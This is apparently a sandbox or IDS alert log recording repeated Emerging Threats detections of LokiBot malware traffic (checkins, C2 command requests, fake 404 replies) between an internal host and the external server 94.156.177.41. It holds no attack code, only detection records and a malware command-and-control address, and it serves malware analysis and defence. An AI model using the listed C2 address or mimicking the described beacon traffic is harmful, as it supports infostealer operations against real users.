2024-11-20T10:58:12.724589+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58629	94.156.177.41	80	TCP
2024-11-20T10:58:12.724589+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58629	94.156.177.41	80	TCP
2024-11-20T10:58:13.483556+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58629	94.156.177.41	80	TCP
2024-11-20T10:58:13.483556+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58629	94.156.177.41	80	TCP
2024-11-20T10:58:13.489483+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58629	TCP
2024-11-20T10:58:13.658490+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58635	94.156.177.41	80	TCP
2024-11-20T10:58:13.658490+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58635	94.156.177.41	80	TCP
2024-11-20T10:58:13.658490+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58635	94.156.177.41	80	TCP
2024-11-20T10:58:14.396851+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58635	94.156.177.41	80	TCP
2024-11-20T10:58:14.396851+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58635	94.156.177.41	80	TCP
2024-11-20T10:58:14.401721+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58635	TCP
2024-11-20T10:58:14.545997+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58641	94.156.177.41	80	TCP
2024-11-20T10:58:14.545997+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58641	94.156.177.41	80	TCP
2024-11-20T10:58:14.545997+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58641	94.156.177.41	80	TCP
2024-11-20T10:58:15.281301+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58641	94.156.177.41	80	TCP
2024-11-20T10:58:15.281301+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58641	94.156.177.41	80	TCP
2024-11-20T10:58:15.287376+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58641	TCP
2024-11-20T10:58:15.460583+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58650	94.156.177.41	80	TCP
2024-11-20T10:58:15.460583+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58650	94.156.177.41	80	TCP
2024-11-20T10:58:15.460583+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58650	94.156.177.41	80	TCP
2024-11-20T10:58:16.229259+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58650	94.156.177.41	80	TCP
2024-11-20T10:58:16.229259+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58650	94.156.177.41	80	TCP
2024-11-20T10:58:16.234194+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58650	TCP
2024-11-20T10:58:16.391719+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58657	94.156.177.41	80	TCP
2024-11-20T10:58:16.391719+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58657	94.156.177.41	80	TCP
2024-11-20T10:58:16.391719+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58657	94.156.177.41	80	TCP
2024-11-20T10:58:17.138537+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58657	94.156.177.41	80	TCP
2024-11-20T10:58:17.138537+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58657	94.156.177.41	80	TCP
2024-11-20T10:58:17.143458+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58657	TCP
2024-11-20T10:58:17.293396+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58664	94.156.177.41	80	TCP
2024-11-20T10:58:17.293396+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58664	94.156.177.41	80	TCP
2024-11-20T10:58:17.293396+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58664	94.156.177.41	80	TCP
2024-11-20T10:58:18.031801+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58664	94.156.177.41	80	TCP
2024-11-20T10:58:18.031801+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58664	94.156.177.41	80	TCP
2024-11-20T10:58:18.036772+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58664	TCP
2024-11-20T10:58:18.186000+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58670	94.156.177.41	80	TCP
2024-11-20T10:58:18.186000+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58670	94.156.177.41	80	TCP
2024-11-20T10:58:18.186000+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58670	94.156.177.41	80	TCP
2024-11-20T10:58:18.916385+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58670	94.156.177.41	80	TCP
2024-11-20T10:58:18.916385+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58670	94.156.177.41	80	TCP
2024-11-20T10:58:18.921296+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58670	TCP
2024-11-20T10:58:19.112622+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58675	94.156.177.41	80	TCP
2024-11-20T10:58:19.112622+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58675	94.156.177.41	80	TCP
2024-11-20T10:58:19.112622+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58675	94.156.177.41	80	TCP
2024-11-20T10:58:19.983626+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58675	94.156.177.41	80	TCP
2024-11-20T10:58:19.983626+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58675	94.156.177.41	80	TCP
2024-11-20T10:58:19.988578+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58675	TCP
2024-11-20T10:58:20.136054+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58683	94.156.177.41	80	TCP
2024-11-20T10:58:20.136054+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58683	94.156.177.41	80	TCP
2024-11-20T10:58:20.136054+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58683	94.156.177.41	80	TCP
2024-11-20T10:58:20.890029+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58683	94.156.177.41	80	TCP
2024-11-20T10:58:20.890029+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58683	94.156.177.41	80	TCP
2024-11-20T10:58:20.898961+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58683	TCP
2024-11-20T10:58:21.045421+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58688	94.156.177.41	80	TCP
2024-11-20T10:58:21.045421+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58688	94.156.177.41	80	TCP
2024-11-20T10:58:21.045421+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58688	94.156.177.41	80	TCP
2024-11-20T10:58:21.775558+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58688	94.156.177.41	80	TCP
2024-11-20T10:58:21.775558+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58688	94.156.177.41	80	TCP
2024-11-20T10:58:21.781334+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58688	TCP
2024-11-20T10:58:21.935753+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58695	94.156.177.41	80	TCP
2024-11-20T10:58:21.935753+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58695	94.156.177.41	80	TCP
2024-11-20T10:58:21.935753+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58695	94.156.177.41	80	TCP
2024-11-20T10:58:22.695646+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58695	94.156.177.41	80	TCP
2024-11-20T10:58:22.695646+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58695	94.156.177.41	80	TCP
2024-11-20T10:58:22.701370+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58695	TCP
2024-11-20T10:58:22.855310+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58701	94.156.177.41	80	TCP
2024-11-20T10:58:22.855310+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58701	94.156.177.41	80	TCP
2024-11-20T10:58:22.855310+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58701	94.156.177.41	80	TCP
2024-11-20T10:58:23.591646+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58701	94.156.177.41	80	TCP
2024-11-20T10:58:23.591646+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58701	94.156.177.41	80	TCP
2024-11-20T10:58:23.598769+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58701	TCP
2024-11-20T10:58:23.760310+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58708	94.156.177.41	80	TCP
2024-11-20T10:58:23.760310+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58708	94.156.177.41	80	TCP
2024-11-20T10:58:23.760310+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58708	94.156.177.41	80	TCP
2024-11-20T10:58:24.491168+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58708	94.156.177.41	80	TCP
2024-11-20T10:58:24.491168+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58708	94.156.177.41	80	TCP
2024-11-20T10:58:24.496109+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58708	TCP
2024-11-20T10:58:24.639781+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58715	94.156.177.41	80	TCP
2024-11-20T10:58:24.639781+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58715	94.156.177.41	80	TCP
2024-11-20T10:58:24.639781+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58715	94.156.177.41	80	TCP
2024-11-20T10:58:25.390472+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58715	94.156.177.41	80	TCP
2024-11-20T10:58:25.390472+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58715	94.156.177.41	80	TCP
2024-11-20T10:58:25.395417+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58715	TCP
2024-11-20T10:58:25.552646+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58723	94.156.177.41	80	TCP
2024-11-20T10:58:25.552646+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58723	94.156.177.41	80	TCP
2024-11-20T10:58:25.552646+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58723	94.156.177.41	80	TCP
2024-11-20T10:58:26.277828+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58723	94.156.177.41	80	TCP
2024-11-20T10:58:26.277828+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58723	94.156.177.41	80	TCP
2024-11-20T10:58:26.284982+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58723	TCP
2024-11-20T10:58:26.433858+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58730	94.156.177.41	80	TCP
2024-11-20T10:58:26.433858+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58730	94.156.177.41	80	TCP
2024-11-20T10:58:26.433858+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58730	94.156.177.41	80	TCP
2024-11-20T10:58:27.285839+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58730	94.156.177.41	80	TCP
2024-11-20T10:58:27.285839+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58730	94.156.177.41	80	TCP
2024-11-20T10:58:27.290814+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58730	TCP
2024-11-20T10:58:27.437349+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58736	94.156.177.41	80	TCP
2024-11-20T10:58:27.437349+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58736	94.156.177.41	80	TCP
2024-11-20T10:58:27.437349+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58736	94.156.177.41	80	TCP
2024-11-20T10:58:28.175851+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58736	94.156.177.41	80	TCP
2024-11-20T10:58:28.175851+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58736	94.156.177.41	80	TCP
2024-11-20T10:58:28.184409+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58736	TCP
2024-11-20T10:58:28.325967+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58742	94.156.177.41	80	TCP
2024-11-20T10:58:28.325967+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58742	94.156.177.41	80	TCP
2024-11-20T10:58:28.325967+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58742	94.156.177.41	80	TCP
2024-11-20T10:58:29.063529+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58742	94.156.177.41	80	TCP
2024-11-20T10:58:29.063529+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58742	94.156.177.41	80	TCP
2024-11-20T10:58:29.071403+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58742	TCP
2024-11-20T10:58:29.219984+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58752	94.156.177.41	80	TCP
2024-11-20T10:58:29.219984+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58752	94.156.177.41	80	TCP
2024-11-20T10:58:29.219984+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58752	94.156.177.41	80	TCP
2024-11-20T10:58:29.952000+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58752	94.156.177.41	80	TCP
2024-11-20T10:58:29.952000+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58752	94.156.177.41	80	TCP
2024-11-20T10:58:29.956898+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58752	TCP
2024-11-20T10:58:30.135328+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58758	94.156.177.41	80	TCP
2024-11-20T10:58:30.135328+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58758	94.156.177.41	80	TCP
2024-11-20T10:58:30.135328+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58758	94.156.177.41	80	TCP
2024-11-20T10:58:30.880809+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58758	94.156.177.41	80	TCP
2024-11-20T10:58:30.880809+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58758	94.156.177.41	80	TCP
2024-11-20T10:58:30.885831+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58758	TCP
2024-11-20T10:58:31.029059+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58764	94.156.177.41	80	TCP
2024-11-20T10:58:31.029059+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58764	94.156.177.41	80	TCP
2024-11-20T10:58:31.029059+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58764	94.156.177.41	80	TCP
2024-11-20T10:58:31.753244+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58764	94.156.177.41	80	TCP
2024-11-20T10:58:31.753244+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58764	94.156.177.41	80	TCP
2024-11-20T10:58:31.758131+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58764	TCP
2024-11-20T10:58:31.910533+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58770	94.156.177.41	80	TCP
2024-11-20T10:58:31.910533+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58770	94.156.177.41	80	TCP
2024-11-20T10:58:31.910533+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58770	94.156.177.41	80	TCP
2024-11-20T10:58:32.772838+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58770	94.156.177.41	80	TCP
2024-11-20T10:58:32.772838+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58770	94.156.177.41	80	TCP
2024-11-20T10:58:32.777803+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58770	TCP
2024-11-20T10:58:32.925547+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58777	94.156.177.41	80	TCP
2024-11-20T10:58:32.925547+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58777	94.156.177.41	80	TCP
2024-11-20T10:58:32.925547+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58777	94.156.177.41	80	TCP
2024-11-20T10:58:33.662624+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58777	94.156.177.41	80	TCP
2024-11-20T10:58:33.662624+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58777	94.156.177.41	80	TCP
2024-11-20T10:58:33.672124+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58777	TCP
2024-11-20T10:58:33.816974+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58786	94.156.177.41	80	TCP
2024-11-20T10:58:33.816974+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58786	94.156.177.41	80	TCP
2024-11-20T10:58:33.816974+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58786	94.156.177.41	80	TCP
2024-11-20T10:58:34.541285+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58786	94.156.177.41	80	TCP
2024-11-20T10:58:34.541285+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58786	94.156.177.41	80	TCP
2024-11-20T10:58:34.546153+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58786	TCP
2024-11-20T10:58:34.747068+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58792	94.156.177.41	80	TCP
2024-11-20T10:58:34.747068+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58792	94.156.177.41	80	TCP
2024-11-20T10:58:34.747068+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58792	94.156.177.41	80	TCP
2024-11-20T10:58:35.492666+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58792	94.156.177.41	80	TCP
2024-11-20T10:58:35.492666+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58792	94.156.177.41	80	TCP
2024-11-20T10:58:35.497561+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58792	TCP
2024-11-20T10:58:35.646259+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58799	94.156.177.41	80	TCP
2024-11-20T10:58:35.646259+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58799	94.156.177.41	80	TCP
2024-11-20T10:58:35.646259+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58799	94.156.177.41	80	TCP
2024-11-20T10:58:36.384795+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58799	94.156.177.41	80	TCP
2024-11-20T10:58:36.384795+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58799	94.156.177.41	80	TCP
2024-11-20T10:58:36.389612+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58799	TCP
2024-11-20T10:58:36.544139+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58806	94.156.177.41	80	TCP
2024-11-20T10:58:36.544139+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58806	94.156.177.41	80	TCP
2024-11-20T10:58:36.544139+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58806	94.156.177.41	80	TCP
2024-11-20T10:58:37.276883+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58806	94.156.177.41	80	TCP
2024-11-20T10:58:37.276883+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58806	94.156.177.41	80	TCP
2024-11-20T10:58:37.281758+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58806	TCP
2024-11-20T10:58:37.437340+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58812	94.156.177.41	80	TCP
2024-11-20T10:58:37.437340+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58812	94.156.177.41	80	TCP
2024-11-20T10:58:37.437340+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58812	94.156.177.41	80	TCP
2024-11-20T10:58:38.177894+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58812	94.156.177.41	80	TCP
2024-11-20T10:58:38.177894+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58812	94.156.177.41	80	TCP
2024-11-20T10:58:38.186261+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58812	TCP
2024-11-20T10:58:38.343067+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58818	94.156.177.41	80	TCP
2024-11-20T10:58:38.343067+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58818	94.156.177.41	80	TCP
2024-11-20T10:58:38.343067+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58818	94.156.177.41	80	TCP
2024-11-20T10:58:39.075545+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58818	94.156.177.41	80	TCP
2024-11-20T10:58:39.075545+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58818	94.156.177.41	80	TCP
2024-11-20T10:58:39.080679+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58818	TCP
2024-11-20T10:58:39.243872+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58827	94.156.177.41	80	TCP
2024-11-20T10:58:39.243872+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58827	94.156.177.41	80	TCP
2024-11-20T10:58:39.243872+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58827	94.156.177.41	80	TCP
2024-11-20T10:58:39.980307+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58827	94.156.177.41	80	TCP
2024-11-20T10:58:39.980307+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58827	94.156.177.41	80	TCP
2024-11-20T10:58:39.986192+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58827	TCP
2024-11-20T10:58:40.146749+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58828	94.156.177.41	80	TCP
2024-11-20T10:58:40.146749+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58828	94.156.177.41	80	TCP
2024-11-20T10:58:40.146749+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58828	94.156.177.41	80	TCP
2024-11-20T10:58:40.880124+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58828	94.156.177.41	80	TCP
2024-11-20T10:58:40.880124+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58828	94.156.177.41	80	TCP
2024-11-20T10:58:40.887054+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58828	TCP
2024-11-20T10:58:41.034533+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58829	94.156.177.41	80	TCP
2024-11-20T10:58:41.034533+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58829	94.156.177.41	80	TCP
2024-11-20T10:58:41.034533+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58829	94.156.177.41	80	TCP
2024-11-20T10:58:41.780911+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58829	94.156.177.41	80	TCP
2024-11-20T10:58:41.780911+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58829	94.156.177.41	80	TCP
2024-11-20T10:58:41.787253+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58829	TCP
2024-11-20T10:58:41.944294+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58830	94.156.177.41	80	TCP
2024-11-20T10:58:41.944294+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58830	94.156.177.41	80	TCP
2024-11-20T10:58:41.944294+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58830	94.156.177.41	80	TCP
2024-11-20T10:58:42.700127+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58830	94.156.177.41	80	TCP
2024-11-20T10:58:42.700127+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58830	94.156.177.41	80	TCP
2024-11-20T10:58:42.707455+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58830	TCP
2024-11-20T10:58:42.863234+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.4	58831	94.156.177.41	80	TCP
2024-11-20T10:58:42.863234+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.4	58831	94.156.177.41	80	TCP
2024-11-20T10:58:42.863234+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.4	58831	94.156.177.41	80	TCP
2024-11-20T10:58:43.621342+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.4	58831	94.156.177.41	80	TCP
2024-11-20T10:58:43.621342+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.4	58831	94.156.177.41	80	TCP
2024-11-20T10:58:43.626218+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.4	58831	TCP
